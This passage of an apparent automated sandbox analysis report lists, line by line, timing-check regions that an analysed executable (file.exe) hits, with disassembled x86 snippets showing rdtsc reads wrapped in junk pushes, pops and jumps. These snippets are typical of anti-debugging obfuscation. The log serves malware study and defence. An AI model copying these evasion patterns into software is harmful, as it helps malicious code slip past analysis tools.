Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7E49 second address: DA7E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA907F second address: DA9083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9083 second address: DA9089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA17D second address: DAA1A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F148511F5CBh 0x00000010 jmp 00007F148511F5C5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA1A2 second address: DAA1A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAE3B second address: DAAE41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAE41 second address: DAAE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD1D5 second address: DAD1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD1D9 second address: DAD1E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD1E3 second address: DAD268 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F148511F5C9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F148511F5B8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D2D92h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F148511F5B8h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D3402h], ebx 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+122D2302h], eax 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push edx 0x0000005c pop edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD268 second address: DAD26C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD26C second address: DAD279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD279 second address: DAD27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC538 second address: DAC542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F148511F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0F3E second address: DB0F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1D19 second address: DB1D85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 movzx edi, bx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov dword ptr [ebp+122D17D4h], ecx 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 call 00007F148511F5C0h 0x00000025 sub dword ptr [ebp+12456861h], edx 0x0000002b pop edi 0x0000002c mov eax, dword ptr [ebp+122D0BC1h] 0x00000032 jmp 00007F148511F5BEh 0x00000037 mov di, F735h 0x0000003b push FFFFFFFFh 0x0000003d mov dword ptr [ebp+122D1D27h], esi 0x00000043 nop 0x00000044 jmp 00007F148511F5BFh 0x00000049 push eax 0x0000004a push eax 0x0000004b push esi 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4AFA second address: DB4B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F14847540AEh 0x00000009 jo 00007F14847540A8h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F14847540A6h 0x00000019 jmp 00007F14847540B9h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2D39 second address: DB2D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4B35 second address: DB4B3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CB62 second address: D6CB66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CB66 second address: D6CB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CB6C second address: D6CB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F148511F5BDh 0x0000000c jo 00007F148511F5B6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CB89 second address: D6CB91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CB91 second address: D6CBB8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F148511F5C6h 0x00000010 jmp 00007F148511F5BEh 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CBB8 second address: D6CBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CBBE second address: D6CBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CBC2 second address: D6CC05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F14847540B0h 0x0000000c jmp 00007F14847540B1h 0x00000011 pop eax 0x00000012 jmp 00007F14847540B2h 0x00000017 jp 00007F14847540ACh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB539B second address: DB539F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB539F second address: DB53A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB81A7 second address: DB81B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB81B0 second address: DB81B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB721A second address: DB722A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA341 second address: DBA3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edx 0x00000009 call 00007F14847540A8h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], edx 0x00000013 add dword ptr [esp+04h], 0000001Ch 0x0000001b inc edx 0x0000001c push edx 0x0000001d ret 0x0000001e pop edx 0x0000001f ret 0x00000020 mov di, ax 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007F14847540A8h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f or dword ptr [ebp+122D17CFh], ebx 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F14847540A8h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+122D1856h] 0x00000067 xchg eax, esi 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F14847540B9h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9403 second address: DB9407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA3E1 second address: DBA3E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA3E5 second address: DBA3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA3EB second address: DBA3F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F14847540A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9516 second address: DB9521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F148511F5B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6F3 second address: DBC6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6F9 second address: DBC6FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6FE second address: DBC725 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnc 00007F14847540A8h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F14847540AAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD6FC second address: DBD70D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD70D second address: DBD711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD711 second address: DBD715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD715 second address: DBD789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F14847540A8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov bx, di 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F14847540A8h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 jns 00007F14847540ACh 0x00000047 mov dword ptr [ebp+122D186Dh], esi 0x0000004d push 00000000h 0x0000004f stc 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F14847540B7h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB698 second address: DBB737 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F148511F5B6h 0x00000009 jmp 00007F148511F5C3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov edi, dword ptr [ebp+122D379Dh] 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F148511F5B8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F148511F5B8h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 00000015h 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c mov bx, di 0x0000005f mov eax, dword ptr [ebp+122D15EDh] 0x00000065 pushad 0x00000066 mov dword ptr [ebp+1246D671h], edi 0x0000006c mov dx, 8300h 0x00000070 popad 0x00000071 push FFFFFFFFh 0x00000073 jmp 00007F148511F5BFh 0x00000078 nop 0x00000079 pushad 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC92C second address: DBC930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBDA1B second address: DBDA21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBDA21 second address: DBDA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC18F4 second address: DC1903 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1903 second address: DC1909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC09F1 second address: DC09FB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1909 second address: DC192B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F14847540B7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC09FB second address: DC0A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC192B second address: DC1930 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1930 second address: DC1981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jmp 00007F148511F5C4h 0x0000000d push 00000000h 0x0000000f movsx edi, di 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F148511F5B8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e push eax 0x0000002f push eax 0x00000030 js 00007F148511F5BCh 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC57DB second address: DC57E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D736CF second address: D736D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE568 second address: DCE56E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE56E second address: DCE572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE572 second address: DCE576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67AA0 second address: D67AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67AA6 second address: D67AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F14847540A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67AB1 second address: D67AB6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67AB6 second address: D67AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 jc 00007F14847540ACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDE68 second address: DCDE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDF98 second address: DCDF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD46B1 second address: DD46B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD50C2 second address: DD50C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD7793 second address: DD77CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F148511F5B6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F148511F5C5h 0x00000011 popad 0x00000012 jmp 00007F148511F5C3h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD77CF second address: DD77E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b js 00007F14847540A6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD77E1 second address: DD77E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD77E7 second address: DD77ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD77ED second address: DD77F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD77F1 second address: DD77F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDD1D1 second address: DDD1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F148511F5B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDD1E0 second address: DDD1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F14847540AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDD1F3 second address: DDD206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDDBA2 second address: DDDC25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F14847540B8h 0x00000008 jmp 00007F14847540B6h 0x0000000d jmp 00007F14847540B8h 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 pop eax 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jns 00007F14847540A6h 0x00000024 jmp 00007F14847540B9h 0x00000029 jmp 00007F14847540AEh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE15D second address: DDE167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F148511F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC20C second address: DEC214 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC214 second address: DEC220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007F148511F5B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC220 second address: DEC224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC224 second address: DEC257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007F148511F5C7h 0x00000011 jmp 00007F148511F5BDh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC257 second address: DEC25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC25D second address: DEC261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC942 second address: DEC94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECCF4 second address: DECD06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148511F5BEh 0x00000009 rdtsc
